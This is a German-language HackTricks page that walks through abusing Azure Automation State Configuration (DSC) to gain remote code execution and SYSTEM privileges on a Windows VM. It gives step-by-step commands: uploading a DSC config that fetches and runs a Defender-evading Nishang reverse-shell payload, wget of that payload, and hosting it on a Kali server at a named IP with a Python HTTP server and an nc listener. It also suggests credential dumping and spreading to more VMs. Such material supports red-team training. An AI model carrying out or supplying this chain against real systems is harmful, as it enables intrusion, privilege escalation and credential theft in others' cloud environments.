Az - State Configuration RCE

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Überprüfen Sie den vollständigen Beitrag unter: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Zusammenfassung der Vorbereitung und Schritte für die Remote-Server (C2)-Infrastruktur

Überblick

Der Prozess beinhaltet die Einrichtung einer Remote-Server-Infrastruktur, um ein modifiziertes Nishang Invoke-PowerShellTcp.ps1-Payload namens RevPS.ps1 zu hosten, das entwickelt wurde, um Windows Defender zu umgehen. Das Payload wird von einer Kali Linux-Maschine mit der IP 40.84.7.74 über einen einfachen Python-HTTP-Server bereitgestellt. Die Operation wird in mehreren Schritten ausgeführt:

Schritt 1 — Dateien erstellen

  • Benötigte Dateien: Zwei PowerShell-Skripte werden benötigt:

  1. reverse_shell_config.ps1: Eine Desired State Configuration (DSC)-Datei, die das Payload abruft und ausführt. Sie ist auf GitHub verfügbar.

  2. push_reverse_shell_config.ps1: Ein Skript zum Veröffentlichen der Konfiguration auf der VM, verfügbar auf GitHub.

  • Anpassung: Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfade und Server/Payload-Identifikatoren.

Schritt 2 — Konfigurationsdatei zippen

  • Die reverse_shell_config.ps1 wird in eine .zip-Datei komprimiert, um sie für die Übertragung auf das Azure Storage-Konto vorzubereiten.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Schritt 3 — Setzen des Speicherkontexts & Hochladen

  • Die komprimierte Konfigurationsdatei wird mithilfe des Azure-Befehls Set-AzStorageBlobContent in einen vordefinierten Azure-Speichercontainer, azure-pentest, hochgeladen.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Schritt 4 — Vorbereitung des Kali-Box

  • Der Kali-Server lädt das RevPS.ps1-Payload von einem GitHub-Repository herunter.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • Das Skript wird bearbeitet, um die Ziel-Windows-VM und den Port für die Reverse-Shell anzugeben.

Schritt 5 — Konfigurationsdatei veröffentlichen

  • Die Konfigurationsdatei wird ausgeführt, was dazu führt, dass das Reverse-Shell-Skript an den angegebenen Speicherort auf der Windows-VM bereitgestellt wird.

Schritt 6 — Payload hosten und Listener einrichten

  • Ein Python SimpleHTTPServer wird gestartet, um den Payload zu hosten, zusammen mit einem Netcat-Listener zum Erfassen eingehender Verbindungen.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • Die geplante Aufgabe führt das Payload aus und erlangt SYSTEM-Privilegien.

Fazit

Die erfolgreiche Ausführung dieses Prozesses eröffnet zahlreiche Möglichkeiten für weitere Aktionen, wie z.B. das Dumpen von Anmeldeinformationen oder die Ausweitung des Angriffs auf mehrere VMs. Der Leitfaden ermutigt zum kontinuierlichen Lernen und zur Kreativität im Bereich Azure Automation DSC.

Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated